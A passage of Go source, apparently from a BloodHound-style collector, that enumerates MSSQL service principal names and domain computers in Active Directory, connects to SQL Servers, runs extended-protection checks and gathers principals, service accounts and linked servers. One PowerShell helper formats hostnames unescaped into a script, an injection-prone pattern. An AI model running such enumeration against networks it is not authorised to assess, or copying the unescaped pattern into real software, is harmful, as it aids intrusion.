returns a ServerToProcess entry. Does not resolve SIDs. +func (c *Collector) parseServerString(serverStr string) *ServerToProcess { + server := &ServerToProcess{ + Port: 1433, // Default port + } + + // Handle SPN format: MSSQLSvc/hostname:portOrInstance + if strings.HasPrefix(strings.ToUpper(serverStr), "MSSQLSVC/") { + serverStr = serverStr[9:] // Remove "MSSQLSvc/" + } + + // Handle formats: hostname, hostname:port, hostname\instance, hostname,port + if strings.Contains(serverStr, "\\") { + parts := strings.SplitN(serverStr, "\\", 2) + server.Hostname = parts[0] + if len(parts) > 1 { + server.InstanceName = parts[1] + } + server.ConnectionString = serverStr + } else if strings.Contains(serverStr, ":") { + parts := strings.SplitN(serverStr, ":", 2) + server.Hostname = parts[0] + if len(parts) > 1 { + // Check if it's a port number or instance name + if port, err := strconv.Atoi(parts[1]); err == nil { + server.Port = port + } else { + server.InstanceName = parts[1] + } + } + server.ConnectionString = serverStr + } else if strings.Contains(serverStr, ",") { + parts := strings.SplitN(serverStr, ",", 2) + server.Hostname = parts[0] + if len(parts) > 1 { + if port, err := strconv.Atoi(parts[1]); err == nil { + server.Port = port + } + } + server.ConnectionString = serverStr + } else { + server.Hostname = serverStr + server.ConnectionString = serverStr + } + + return server +} + +// addServerToProcess adds a server to the processing list, deduplicating by ObjectIdentifier +func (c *Collector) addServerToProcess(server *ServerToProcess) { + // Build ObjectIdentifier if we have a SID + if server.ComputerSID != "" { + if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" { + server.ObjectIdentifier = fmt.Sprintf("%s:%s", server.ComputerSID, server.InstanceName) + } else { + server.ObjectIdentifier = fmt.Sprintf("%s:%d", server.ComputerSID, server.Port) + } + } else { + // Use hostname-based identifier if no SID + hostname := strings.ToLower(server.Hostname) + if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" { + server.ObjectIdentifier = fmt.Sprintf("%s:%s", hostname, server.InstanceName) + } else { + server.ObjectIdentifier = fmt.Sprintf("%s:%d", hostname, server.Port) + } + } + + // Check for duplicates + for _, existing := range c.serversToProcess { + if existing.ObjectIdentifier == server.ObjectIdentifier { + // Update hostname to prefer FQDN + if !strings.Contains(existing.Hostname, ".") && strings.Contains(server.Hostname, ".") { + existing.Hostname = server.Hostname + } + return // Already exists + } + } + + c.serversToProcess = append(c.serversToProcess, server) +} + +// buildServerList builds the list of servers to process +func (c *Collector) buildServerList() error { + // From command line argument + if c.config.ServerInstance != "" { + server := c.parseServerString(c.config.ServerInstance) + c.tryResolveSID(server) + c.addServerToProcess(server) + c.logVerbose("Added server from command line: %s", c.config.ServerInstance) + } + + // From comma-separated list + if c.config.ServerList != "" { + c.logVerbose("Processing comma-separated server list") + servers := strings.Split(c.config.ServerList, ",") + count := 0 + for _, s := range servers { + s = strings.TrimSpace(s) + if s != "" { + server := c.parseServerString(s) + c.tryResolveSID(server) + c.addServerToProcess(server) + count++ + } + } + c.logVerbose("Added %d servers from list", count) + } + + // From file + if c.config.ServerListFile != "" { + c.logVerbose("Processing server list file: %s", c.config.ServerListFile) + data, err := os.ReadFile(c.config.ServerListFile) + if err != nil { + return fmt.Errorf("failed to read server list file: %w", err) + } + lines := strings.Split(string(data), "\n") + count := 0 + for _, line := range lines { + line = strings.TrimSpace(line) + if line != "" && !strings.HasPrefix(line, "#") { + server := c.parseServerString(line) + c.tryResolveSID(server) + c.addServerToProcess(server) + count++ + } + } + c.logVerbose("Added %d servers from file", count) + } + + // Auto-detect domain if not provided and we have servers + if c.config.Domain == "" && len(c.serversToProcess) > 0 { + // Try to extract domain from server FQDNs first + for _, server := range c.serversToProcess { + if strings.Contains(server.Hostname, ".") { + parts := strings.SplitN(server.Hostname, ".", 2) + if len(parts) == 2 && parts[1] != "" { + c.config.Domain = strings.ToUpper(parts[1]) + c.logVerbose("Auto-detected domain from server FQDN: %s", c.config.Domain) + break + } + } + } + // Fallback to environment variables + if c.config.Domain == "" { + c.config.Domain = c.detectDomain() + } + } + + // If no servers specified, enumerate SPNs from Active Directory + if len(c.serversToProcess) == 0 { + // Auto-detect domain if not provided + domain := c.config.Domain + if domain == "" { + domain = c.detectDomain() + } + + if domain != "" { + // Update config.Domain so it's available for later resolution + c.config.Domain = domain + fmt.Printf("No servers specified, enumerating MSSQL SPNs from Active Directory (domain: %s)...\n", domain) + if err := c.enumerateServersFromAD(); err != nil { + fmt.Printf("Warning: SPN enumeration failed: %v\n", err) + fmt.Println("Hint: If LDAP authentication fails, you can:") + fmt.Println(" 1. Use --server, --server-list, or --server-list-file to specify servers manually") + fmt.Println(" 2. Use --ldap-user and --ldap-password to provide explicit credentials") + fmt.Println(" 3. Use the PowerShell version to enumerate SPNs, then provide the list to the Go version") + } + } else { + fmt.Println("No servers specified and could not detect domain. Use --domain to specify a domain or --server to specify a server.") + } + } + + return nil +} + +// tryResolveSID attempts to resolve the computer SID for a server +func (c *Collector) tryResolveSID(server *ServerToProcess) { + if c.config.Domain == "" { + return + } + + // Try Windows API first + if runtime.GOOS == "windows" { + sid, err := ad.ResolveComputerSIDWindows(server.Hostname, c.config.Domain) + if err == nil && sid != "" { + server.ComputerSID = sid + return + } + } + + // Try LDAP + adClient := c.newADClient(c.config.Domain) + if adClient == nil { + return + } + defer adClient.Close() + + sid, err := adClient.ResolveComputerSID(server.Hostname) + if err != nil && isLDAPAuthError(err) { + c.setLDAPAuthFailed() + return + } + if err == nil && sid != "" { + server.ComputerSID = sid + } +} + +// detectDomain attempts to auto-detect the domain from environment variables or system configuration. +// Returns the domain name in UPPERCASE to match BloodHound conventions. +func (c *Collector) detectDomain() string { + // Try USERDNSDOMAIN environment variable (Windows domain-joined machines) + if domain := os.Getenv("USERDNSDOMAIN"); domain != "" { + domain = strings.ToUpper(domain) + c.logVerbose("Detected domain from USERDNSDOMAIN: %s", domain) + return domain + } + + // Try USERDOMAIN environment variable as fallback + if domain := os.Getenv("USERDOMAIN"); domain != "" { + domain = strings.ToUpper(domain) + c.logVerbose("Detected domain from USERDOMAIN: %s", domain) + return domain + } + + // On Linux/Unix, try to get domain from /etc/resolv.conf or similar + if runtime.GOOS != "windows" { + if data, err := os.ReadFile("/etc/resolv.conf"); err == nil { + lines := strings.Split(string(data), "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, "search ") { + parts := strings.Fields(line) + if len(parts) > 1 { + domain := strings.ToUpper(parts[1]) + c.logVerbose("Detected domain from /etc/resolv.conf: %s", domain) + return domain + } + } + if strings.HasPrefix(line, "domain ") { + parts := strings.Fields(line) + if len(parts) > 1 { + domain := strings.ToUpper(parts[1]) + c.logVerbose("Detected domain from /etc/resolv.conf: %s", domain) + return domain + } + } + } + } + } + + return "" +} + +// enumerateServersFromAD discovers MSSQL servers from Active Directory SPNs +func (c *Collector) enumerateServersFromAD() error { + // First try native Go LDAP + adClient := c.newADClient(c.config.Domain) + if adClient == nil { + return fmt.Errorf("LDAP authentication previously failed, skipping AD enumeration") + } + + spns, err := adClient.EnumerateMSSQLSPNs() + adClient.Close() + + if err != nil && isLDAPAuthError(err) { + c.setLDAPAuthFailed() + return fmt.Errorf("LDAP authentication failed: %w", err) + } + + // If LDAP failed on Windows, try using PowerShell/ADSI as fallback + if err != nil && runtime.GOOS == "windows" { + c.logVerbose("LDAP enumeration failed, trying PowerShell/ADSI fallback...") + spns, err = c.enumerateSPNsViaPowerShell() + } + + if err != nil { + return fmt.Errorf("failed to enumerate MSSQL SPNs: %w", err) + } + + fmt.Printf("Found %d MSSQL SPNs\n", len(spns)) + + for _, spn := range spns { + // Create ServerToProcess from SPN + server := &ServerToProcess{ + Hostname: spn.Hostname, + Port: 1433, // Default + } + + // Parse port or instance from SPN + if spn.Port != "" { + if port, err := strconv.Atoi(spn.Port); err == nil { + server.Port = port + } + server.ConnectionString = fmt.Sprintf("%s:%s", spn.Hostname, spn.Port) + } else if spn.InstanceName != "" { + server.InstanceName = spn.InstanceName + server.ConnectionString = fmt.Sprintf("%s\\%s", spn.Hostname, spn.InstanceName) + } else { + server.ConnectionString = spn.Hostname + } + + // Try to resolve computer SID early + c.tryResolveSID(server) + + // Build ObjectIdentifier and add to processing list (handles deduplication) + c.addServerToProcess(server) + + // Track SPN data by ObjectIdentifier for later use + c.serverSPNDataMu.Lock() + spnInfo, exists := c.serverSPNData[server.ObjectIdentifier] + if !exists { + spnInfo = &ServerSPNInfo{ + SPNs: []string{}, + AccountName: spn.AccountName, + AccountSID: spn.AccountSID, + } + c.serverSPNData[server.ObjectIdentifier] = spnInfo + } + c.serverSPNDataMu.Unlock() + + // Build full SPN string and add it + fullSPN := fmt.Sprintf("MSSQLSvc/%s", spn.Hostname) + if spn.Port != "" { + fullSPN = fmt.Sprintf("MSSQLSvc/%s:%s", spn.Hostname, spn.Port) + } else if spn.InstanceName != "" { + fullSPN = fmt.Sprintf("MSSQLSvc/%s:%s", spn.Hostname, spn.InstanceName) + } + spnInfo.SPNs = append(spnInfo.SPNs, fullSPN) + + fmt.Printf(" Found: %s (ObjectID: %s, service account: %s)\n", server.ConnectionString, server.ObjectIdentifier, spn.AccountName) + } + + // If ScanAllComputers is enabled, also enumerate all domain computers + if c.config.ScanAllComputers { + fmt.Println("ScanAllComputers enabled, enumerating all domain computers...") + adClient := c.newADClient(c.config.Domain) + if adClient == nil { + fmt.Println(" Skipping: LDAP authentication previously failed") + return nil + } + defer adClient.Close() + + computers, err := adClient.EnumerateAllComputers() + if err != nil && isLDAPAuthError(err) { + c.setLDAPAuthFailed() + fmt.Printf(" LDAP authentication failed: %v\n", err) + return nil + } + if err != nil && runtime.GOOS == "windows" { + // Try PowerShell fallback on Windows + fmt.Printf("LDAP enumeration failed (%v), trying PowerShell fallback...\n", err) + computers, err = c.enumerateComputersViaPowerShell() + } + if err != nil { + fmt.Printf("Warning: failed to enumerate domain computers: %v\n", err) + } else { + added := 0 + for _, computer := range computers { + server := c.parseServerString(computer) + c.tryResolveSID(server) + oldLen := len(c.serversToProcess) + c.addServerToProcess(server) + if len(c.serversToProcess) > oldLen { + added++ + } + } + fmt.Printf("Added %d additional computers to scan\n", added) + } + } + + fmt.Printf("\nUnique servers to process: %d\n", len(c.serversToProcess)) + c.spnEnumerationDone = true + return nil +} + +// enumerateSPNsViaPowerShell uses PowerShell/ADSI to enumerate MSSQL SPNs (Windows fallback) +func (c *Collector) enumerateSPNsViaPowerShell() ([]types.SPN, error) { + fmt.Println("Using PowerShell/ADSI fallback for SPN enumeration...") + + // PowerShell script to enumerate MSSQL SPNs using ADSI + script := ` +$searcher = [adsisearcher]"(servicePrincipalName=MSSQLSvc/*)" +$searcher.PageSize = 1000 +$searcher.PropertiesToLoad.AddRange(@('servicePrincipalName', 'samAccountName', 'objectSid')) +$results = $searcher.FindAll() +foreach ($result in $results) { + $sid = (New-Object System.Security.Principal.SecurityIdentifier($result.Properties['objectsid'][0], 0)).Value + $samName = $result.Properties['samaccountname'][0] + foreach ($spn in $result.Properties['serviceprincipalname']) { + if ($spn -like 'MSSQLSvc/*') { + Write-Output "$spn|$samName|$sid" + } + } +} +` + + cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script) + output, err := cmd.Output() + if err != nil { + return nil, fmt.Errorf("PowerShell SPN enumeration failed: %w", err) + } + + var spns []types.SPN + lines := strings.Split(string(output), "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if line == "" { + continue + } + + parts := strings.Split(line, "|") + if len(parts) < 3 { + continue + } + + spnStr := parts[0] + accountName := parts[1] + accountSID := parts[2] + + // Parse SPN: MSSQLSvc/hostname:port or MSSQLSvc/hostname:instancename + spn := c.parseSPN(spnStr, accountName, accountSID) + if spn != nil { + spns = append(spns, *spn) + } + } + + return spns, nil +} + +// enumerateComputersViaPowerShell uses PowerShell/ADSI to enumerate all domain computers (Windows fallback) +func (c *Collector) enumerateComputersViaPowerShell() ([]string, error) { + fmt.Println("Using PowerShell/ADSI fallback for computer enumeration...") + + // PowerShell script to enumerate all domain computers using ADSI + script := ` +$searcher = [adsisearcher]"(&(objectCategory=computer)(objectClass=computer))" +$searcher.PageSize = 1000 +$searcher.PropertiesToLoad.AddRange(@('dNSHostName', 'name')) +$results = $searcher.FindAll() +foreach ($result in $results) { + $dns = $result.Properties['dnshostname'] + $name = $result.Properties['name'] + if ($dns -and $dns[0]) { + Write-Output $dns[0] + } elseif ($name -and $name[0]) { + Write-Output $name[0] + } +} +` + + cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script) + output, err := cmd.Output() + if err != nil { + return nil, fmt.Errorf("PowerShell computer enumeration failed: %w", err) + } + + var computers []string + lines := strings.Split(string(output), "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if line != "" { + computers = append(computers, line) + } + } + + fmt.Printf("PowerShell enumerated %d computers\n", len(computers)) + return computers, nil +} + +// parseSPN parses an SPN string into an SPN struct +func (c *Collector) parseSPN(spnStr, accountName, accountSID string) *types.SPN { + // Format: MSSQLSvc/hostname:portOrInstance + if !strings.HasPrefix(strings.ToUpper(spnStr), "MSSQLSVC/") { + return nil + } + + remainder := spnStr[9:] // Remove "MSSQLSvc/" + parts := strings.SplitN(remainder, ":", 2) + hostname := parts[0] + + var port, instanceName string + if len(parts) > 1 { + portOrInstance := parts[1] + // Check if it's a port number + if _, err := fmt.Sscanf(portOrInstance, "%d", new(int)); err == nil { + port = portOrInstance + } else { + instanceName = portOrInstance + } + } + + return &types.SPN{ + Hostname: hostname, + Port: port, + InstanceName: instanceName, + AccountName: accountName, + AccountSID: accountSID, + } +} + +// processServer collects data from a single SQL Server +func (c *Collector) processServer(server *ServerToProcess) error { + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute) + defer cancel() + + // Check if we have SPN data for this server (keyed by ObjectIdentifier) + c.serverSPNDataMu.RLock() + spnInfo := c.serverSPNData[server.ObjectIdentifier] + c.serverSPNDataMu.RUnlock() + + // Connect to the server + client := c.newMSSQLClient(server.ConnectionString, c.config.UserID, c.config.Password) + client.SetDomain(c.config.Domain) + client.SetLDAPCredentials(c.config.LDAPUser, c.config.LDAPPassword) + client.SetDNSResolver(c.getDNSResolver()) + client.SetVerbose(c.config.Verbose) + client.SetDebug(c.config.Debug) + client.SetCollectFromLinkedServers(c.config.CollectFromLinkedServers) + + // Quick port check before attempting EPA or authentication + if err := client.CheckPort(ctx); err != nil { + fmt.Printf(" Port not reachable, skipping: %v\n", err) + if spnInfo != nil { + return c.processServerFromSPNData(server, spnInfo, nil, err) + } + spnInfo = c.lookupSPNsForServer(server) + if spnInfo != nil { + return c.processServerFromSPNData(server, spnInfo, nil, err) + } + return fmt.Errorf("port not reachable: %w", err) + } + + // Run EPA checks before attempting SQL authentication + var epaResult *mssql.EPATestResult + var epaPrereqFailed bool + if c.config.LDAPUser != "" && c.config.LDAPPassword != "" { + var epaErr error + epaResult, epaErr = client.TestEPA(ctx) + if epaErr != nil { + if mssql.IsEPAPrereqError(epaErr) { + // Prereq check failed - don't continue with authentication attempts + // (matches Python mssql.py flow: prereq failure => exit) + fmt.Printf(" EPA prereq check failed, skipping authentication: %v\n", epaErr) + epaPrereqFailed = true + } else { + c.logVerbose("EPA pre-check failed for %s: %v", server.ConnectionString, epaErr) + } + epaResult = nil + } else { + client.SetEPAResult(epaResult) + } + } + + if epaPrereqFailed { + // Skip authentication - go straight to partial output handling + if spnInfo != nil { + fmt.Printf(" EPA prereq failed but server has SPN - creating nodes/edges from SPN data\n") + return c.processServerFromSPNData(server, spnInfo, epaResult, fmt.Errorf("EPA prereq check failed")) + } + spnInfo = c.lookupSPNsForServer(server) + if spnInfo != nil { + fmt.Printf(" EPA prereq failed - looked up SPN from AD, creating partial output\n") + return c.processServerFromSPNData(server, spnInfo, epaResult, fmt.Errorf("EPA prereq check failed")) + } + return fmt.Errorf("EPA prereq check failed and no SPN data available for %s", server.ConnectionString) + } + + // If the EPA unmodified connection failed (login_failed), the credentials don't + // work for SQL login. Skip Connect() to avoid wasted attempts and potential + // account lockout with the same bad credentials. + if epaResult != nil && !epaResult.UnmodifiedSuccess { + fmt.Printf(" EPA unmodified connection failed, skipping authentication attempts\n") + if spnInfo != nil { + fmt.Printf(" Server has SPN - creating nodes/edges from SPN/EPA data\n") + return c.processServerFromSPNData(server, spnInfo, epaResult, fmt.Errorf("EPA unmodified connection failed")) + } + spnInfo = c.lookupSPNsForServer(server) + if spnInfo != nil { + fmt.Printf(" Looked up SPN from AD, creating partial output\n") + return c.processServerFromSPNData(server, spnInfo, epaResult, fmt.Errorf("EPA unmodified connection failed")) + } + // No SPN data but EPA data is available + fmt.Printf(" No SPN data but EPA data available, creating partial output\n") + return c.processServerFromSPNData(server, nil, epaResult, fmt.Errorf("EPA unmodified connection failed")) + } + + if err := client.Connect(ctx); err != nil { + // If SQL auth failed and the same credentials are used for LDAP, mark LDAP + // as failed too to prevent redundant auth attempts that could lock out the account. + if mssql.IsAuthError(err) && c.config.UserID == c.config.LDAPUser { + c.setLDAPAuthFailed() + } + + // If hostname doesn't have a domain but we have one from linked server discovery, try FQDN + if server.Domain != "" && !strings.Contains(server.Hostname, ".") { + fqdnHostname := server.Hostname + "." + server.Domain + c.logVerbose("Connection failed, trying FQDN: %s", fqdnHostname) + + // Build FQDN connection string + fqdnConnStr := fqdnHostname + if server.Port != 0 && server.Port != 1433 { + fqdnConnStr = fmt.Sprintf("%s:%d", fqdnHostname, server.Port) + } else if server.InstanceName != "" { + fqdnConnStr = fmt.Sprintf("%s\\%s", fqdnHostname, server.InstanceName) + } + + fqdnClient := c.newMSSQLClient(fqdnConnStr, c.config.UserID, c.config.Password) + fqdnClient.SetDomain(c.config.Domain) + fqdnClient.SetLDAPCredentials(c.config.LDAPUser, c.config.LDAPPassword) + fqdnClient.SetVerbose(c.config.Verbose) + fqdnClient.SetDebug(c.config.Debug) + fqdnClient.SetCollectFromLinkedServers(c.config.CollectFromLinkedServers) + + // Run EPA checks before attempting SQL authentication on FQDN client + var fqdnEPAPrereqFailed bool + if c.config.LDAPUser != "" && c.config.LDAPPassword != "" { + fqdnEPAResult, epaErr := fqdnClient.TestEPA(ctx) + if epaErr != nil { + if mssql.IsEPAPrereqError(epaErr) { + fmt.Printf(" EPA prereq check failed for FQDN %s, skipping authentication: %v\n", fqdnConnStr, epaErr) + fqdnEPAPrereqFailed = true + } else { + c.logVerbose("EPA pre-check failed for %s: %v", fqdnConnStr, epaErr) + } + } else { + fqdnClient.SetEPAResult(fqdnEPAResult) + epaResult = fqdnEPAResult // Use FQDN EPA result as the canonical result + } + } + + // Skip Connect if EPA prereq failed or unmodified connection failed + fqdnSkipConnect := fqdnEPAPrereqFailed + if !fqdnSkipConnect && epaResult != nil && !epaResult.UnmodifiedSuccess { + fmt.Printf(" EPA unmodified connection failed for FQDN %s, skipping authentication\n", fqdnConnStr) + fqdnSkipConnect = true + } + if fqdnSkipConnect { + fqdnClient.Close() + c.logVerbose("Skipping Connect for %s (EPA prereq/unmodified failed)", fqdnConnStr) + } else { + fqdnErr := fqdnClient.Connect(ctx) + if fqdnErr == nil { + // FQDN connection succeeded - update server info and continue + fmt.Printf(" Connected using FQDN: %s\n", fqdnHostname) + server.Hostname = fqdnHostname + server.ConnectionString = fqdnConnStr + client = fqdnClient + // Fall through to continue with collection + goto connected + } + fqdnClient.Close() + c.logVerbose("FQDN connection also failed: %v", fqdnErr) + } + } + + // Connection failed - check if we have SPN data to create partial output + if spnInfo != nil { + fmt.Printf(" Connection failed but server has SPN - creating nodes/edges from SPN data\n") + return c.processServerFromSPNData(server, spnInfo, epaResult, err) + } + + // No SPN data available - try to look up SPNs from AD for this server + spnInfo = c.lookupSPNsForServer(server) + if spnInfo != nil { + fmt.Printf(" Connection failed - looked up SPN from AD, creating partial output\n") + return c.processServerFromSPNData(server, spnInfo, epaResult, err) + } + + // No SPN data - check if we have EPA data to create a minimal node + if epaResult != nil { + fmt.Printf(" Connection failed - no SPN data but EPA data available, creating partial output\n") + return c.processServerFromSPNData(server, nil, epaResult, err) + } + + // No SPN data and no EPA data - skip this server + return fmt.Errorf("connection failed and no SPN/EPA data available: %w", err) + } + +connected: + defer client.Close() + + c.logVerbose("Successfully connected to %s", server.ConnectionString) + + // Collect server information + serverInfo, err := client.CollectServerInfo(ctx) + if err != nil { + // Collection failed after connection - try partial output if we have SPN data + if spnInfo != nil { + fmt.Printf(" Collection failed but server has SPN - creating nodes/edges from SPN data\n") + return c.processServerFromSPNData(server, spnInfo, epaResult, err) + } + + // Try AD lookup for SPN data + spnInfo = c.lookupSPNsForServer(server) + if spnInfo != nil { + fmt.Printf(" Collection failed - looked up SPN from AD, creating partial output\n") + return c.processServerFromSPNData(server, spnInfo, epaResult, err) + } + + // No SPN data - check if we have EPA data to create a minimal node + if epaResult != nil { + fmt.Printf(" Collection failed - no SPN data but EPA data available, creating partial output\n") + return c.processServerFromSPNData(server, nil, epaResult, err) + } + + return fmt.Errorf("collection failed: %w", err) + } + + // Merge SPN data if available + if spnInfo != nil { + if len(serverInfo.SPNs) == 0 { + serverInfo.SPNs = spnInfo.SPNs + } + // Add service account from SPN if not already present + if len(serverInfo.ServiceAccounts) == 0 && spnInfo.AccountName != "" { + serverInfo.ServiceAccounts = append(serverInfo.ServiceAccounts, types.ServiceAccount{ + Name: spnInfo.AccountName, + SID: spnInfo.AccountSID, + ObjectIdentifier: spnInfo.AccountSID, + }) + } + } + + // If we couldn't get the computer SID from SQL Server, try other methods + // The resolution function will extract domain from FQDN if not provided + if serverInfo.ComputerSID == "" { + c.resolveComputerSIDViaLDAP(serverInfo) + } + + // Convert built-in service accounts (LocalSystem, Local Service, Network Service) + // to the computer account, as they authenticate on the network as the computer + c.preprocessServiceAccounts(serverInfo) + + // Resolve service account SIDs via LDAP if they don't have SIDs + c.resolveServiceAccountSIDsViaLDAP(serverInfo) + + // Resolve credential identity SIDs via LDAP for credential edges + c.resolveCredentialSIDsViaLDAP(serverInfo) + + // Enumerate local Windows groups that have SQL logins and their domain members + c.enumerateLocalGroupMembers(serverInfo) + + // Check CVE-2025-49758 patch status + c.logCVE202549758Status(serverInfo) + + // Process discovered linked servers + c.processLinkedServers(serverInfo, server) + + fmt.Printf("Collected: %d principals, %d databases\n", + len(serverInfo.ServerPrincipals), len(serverInfo.Databases)) + + // Generate output filename using PowerShell naming convention + outputFile := filepath.Join(c.tempDir, c.generateFilename(server)) + + if err := c.generateOutput(serverInfo, outputFile); err != nil { + return fmt.Errorf("output generation failed: %w", err) + } + + c.addOutputFile(outputFile) + + return nil +} + +// processServerFromSPNData creates partial output when connection fails but SPN and/or EPA data exists. +// spnInfo may be nil if only EPA data is available; epaResult may be nil if only SPN data is available. +func (c *Collector) processServerFromSPNData(server *ServerToProcess, spnInfo *ServerSPNInfo, epaResult *mssql.EPATestResult, connErr error) error { + // Try to resolve the FQDN + fqdn := server.Hostname + if !strings.Contains(server.Hostname, ".") && c.config.Domain != "" { + fqdn = fmt.Sprintf("%s.%s", server.Hostname, strings.ToLower(c.config.Domain)) + } + + // Try to resolve computer SID if not already resolved + computerSID := server.ComputerSID + if computerSID == "" && c.config.Domain != "" { + if runtime.GOOS == "windows" { + sid, err := ad.ResolveComputerSIDWindows(server.Hostname, c.config.Domain) + if err == nil && sid != "" { + computerSID = sid + server.ComputerSID = sid + } + } + } + + // Use ObjectIdentifier from server, or build it if needed + objectIdentifier := server.ObjectIdentifier + if objectIdentifier == "" { + if computerSID != "" { + if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" { + objectIdentifier = fmt.Sprintf("%s:%s", computerSID, server.InstanceName) + } else { + objectIdentifier = fmt.Sprintf("%s:%d", computerSID, server.Port) + } + } else { + if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" { + objectIdentifier = fmt.Sprintf("%s:%s", strings.ToLower(fqdn), server.InstanceName) + } else { + objectIdentifier = fmt.Sprintf("%s:%d", strings.ToLower(fqdn), server.Port) + } + } + } + + // Create minimal server info from SPN and/or EPA data + // NOTE: We intentionally do NOT add ServiceAccounts here to match PowerShell behavior. + // PS stores ServiceAccountSIDs from SPN but uses ServiceAccounts (from SQL query) for edge creation. + // For failed connections, ServiceAccounts is empty, so no service account edges are created. + serverInfo := &types.ServerInfo{ + ObjectIdentifier: objectIdentifier, + Hostname: server.Hostname, + ServerName: server.ConnectionString, + SQLServerName: server.ConnectionString, + InstanceName: server.InstanceName, + Port: server.Port, + FQDN: fqdn, + ComputerSID: computerSID, + // ServiceAccounts intentionally left empty to match PS behavior + } + + // Add SPN data if available + if spnInfo != nil { + serverInfo.SPNs = spnInfo.SPNs + } + + // Add EPA data if available (encryption and extended protection settings) + if epaResult != nil { + if epaResult.ForceEncryption { + serverInfo.ForceEncryption = "Yes" + } else { + serverInfo.ForceEncryption = "No" + } + if epaResult.StrictEncryption { + serverInfo.StrictEncryption = "Yes" + } else { + serverInfo.StrictEncryption = "No" + } + serverInfo.ExtendedProtection = epaResult.EPAStatus + } + + // Check CVE-2025-49758 patch status (will show version unknown for SPN-only data) + c.logCVE202549758Status(serverInfo) + + fmt.Printf("Created partial output from SPN/EPA data (connection error: %v)\n", connErr) + + // Generate output using the consistent filename generation + outputFile := filepath.Join(c.tempDir, c.generateFilename(server)) + + if err := c.generateOutput(serverInfo, outputFile); err != nil { + return fmt.Errorf("output generation failed: %w", err) + } + + c.addOutputFile(outputFile) + + return nil +} + +// lookupSPNsForServer queries AD for SPNs for a specific server hostname +// This is used as a fallback when we don't have pre-enumerated SPN data +func (c *Collector) lookupSPNsForServer(server *ServerToProcess) *ServerSPNInfo { + // Need a domain to query AD + domain := c.config.Domain + if domain == "" { + // Try to extract domain from hostname FQDN + if strings.Contains(server.Hostname, ".") { + parts := strings.SplitN(server.Hostname, ".", 2) + if len(parts) > 1 { + domain = parts[1] + } + } + } + // Use domain from linked server discovery if available + if domain == "" && server.Domain != "" { + domain = server.Domain + c.logVerbose("Using domain from linked server discovery: %s", domain) + } + + if domain == "" { + fmt.Println(" Cannot lookup SPN - no domain available") + return nil + } + + // If we already did a full SPN sweep for the same domain, a per-host lookup won't find anything new + if c.spnEnumerationDone && strings.EqualFold(domain, c.config.Domain) { + return nil + } + + // Try native LDAP first + adClient := c.newADClient(domain) + if adClient == nil { + return nil + } + + fmt.Printf(" Looking up SPNs for %s in AD (domain: %s)\n", server.Hostname, domain) + spns, err := adClient.LookupMSSQLSPNsForHost(server.Hostname) + adClient.Close() + + if err != nil && isLDAPAuthError(err) { + c.setLDAPAuthFailed() + fmt.Printf(" AD SPN lookup failed (invalid credentials): %v\n", err) + return nil + } + + // If LDAP failed on Windows, try PowerShell/ADSI + if err != nil && runtime.GOOS == "windows" { + fmt.Println(" LDAP lookup failed, trying PowerShell/ADSI fallback...") + spns, err = c.lookupSPNsViaPowerShell(server.Hostname) + } + + if err != nil { + fmt.Printf(" AD SPN lookup failed: %v\n", err) + return nil + } + + if len(spns) == 0 { + fmt.Printf(" No SPNs found in AD for %s\n", server.Hostname) + return nil + } + + fmt.Printf(" Found %d SPNs in AD for %s\n", len(spns), server.Hostname) + + // Build ServerSPNInfo from the SPNs + spnInfo := &ServerSPNInfo{ + SPNs: []string{}, + } + + for _, spn := range spns { + // Build SPN string + spnStr := fmt.Sprintf("MSSQLSvc/%s", spn.Hostname) + if spn.Port != "" { + spnStr += ":" + spn.Port + } else if spn.InstanceName != "" { + spnStr += ":" + spn.InstanceName + } + spnInfo.SPNs = append(spnInfo.SPNs, spnStr) + + // Use the first account info we find + if spnInfo.AccountName == "" { + spnInfo.AccountName = spn.AccountName + spnInfo.AccountSID = spn.AccountSID + } + } + + // Also resolve computer SID if we don't have it + if server.ComputerSID == "" { + sid, err := ad.ResolveComputerSIDWindows(server.Hostname, domain) + if err == nil && sid != "" { + server.ComputerSID = sid + // Rebuild ObjectIdentifier with the new SID + if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" { + server.ObjectIdentifier = fmt.Sprintf("%s:%s", sid, server.InstanceName) + } else { + server.ObjectIdentifier = fmt.Sprintf("%s:%d", sid, server.Port) + } + } + } + + // Store in cache for future use + c.serverSPNDataMu.Lock() + c.serverSPNData[server.ObjectIdentifier] = spnInfo + c.serverSPNDataMu.Unlock() + + return spnInfo +} + +// lookupSPNsViaPowerShell uses PowerShell/ADSI to look up SPNs for a specific hostname +func (c *Collector) lookupSPNsViaPowerShell(hostname string) ([]types.SPN, error) { + // Extract short hostname for matching + shortHost := hostname + if idx := strings.Index(hostname, "."); idx > 0 { + shortHost = hostname[:idx] + } + + // PowerShell script to look up SPNs for a specific hostname + script := fmt.Sprintf(` +$shortHost = '%s' +$fqdn = '%s' +$searcher = [adsisearcher]"(|(servicePrincipalName=MSSQLSvc/$shortHost*)(servicePrincipalName=MSSQLSvc/$fqdn*))" +$searcher.PageSize = 1000 +$searcher.PropertiesToLoad.AddRange(@('servicePrincipalName', 'samAccountName', 'objectSid')) +$results = $searcher.FindAll() +foreach ($result in $results) { + $sid = (New-Object System.Security.Principal.SecurityIdentifier($result.Properties['objectsid'][0], 0)).Value + $samName = $result.Properties['samaccountname'][0] + foreach ($spn in $result.Properties['serviceprincipalname']) { + if ($spn -like 'MSSQLSvc/*') { + # Filter to only matching hostnames + $spnHost = (($spn -split '/')[1] -split ':')[0] + if ($spnHost -ieq $shortHost -or $spnHost -ieq $fqdn -or $spnHost -like "$shortHost.*") { + Write-Output "$spn|$samName|$sid" + } + } + } +} +`, shortHost, hostname) + + cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script) + output, err := cmd.Output() + if err != nil { + return nil, fmt.Errorf("PowerShell SPN lookup failed: %w", err) + } + + var spns []types.SPN + lines := strings.Split(string(output), "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if line == "" { + continue + } + + parts := 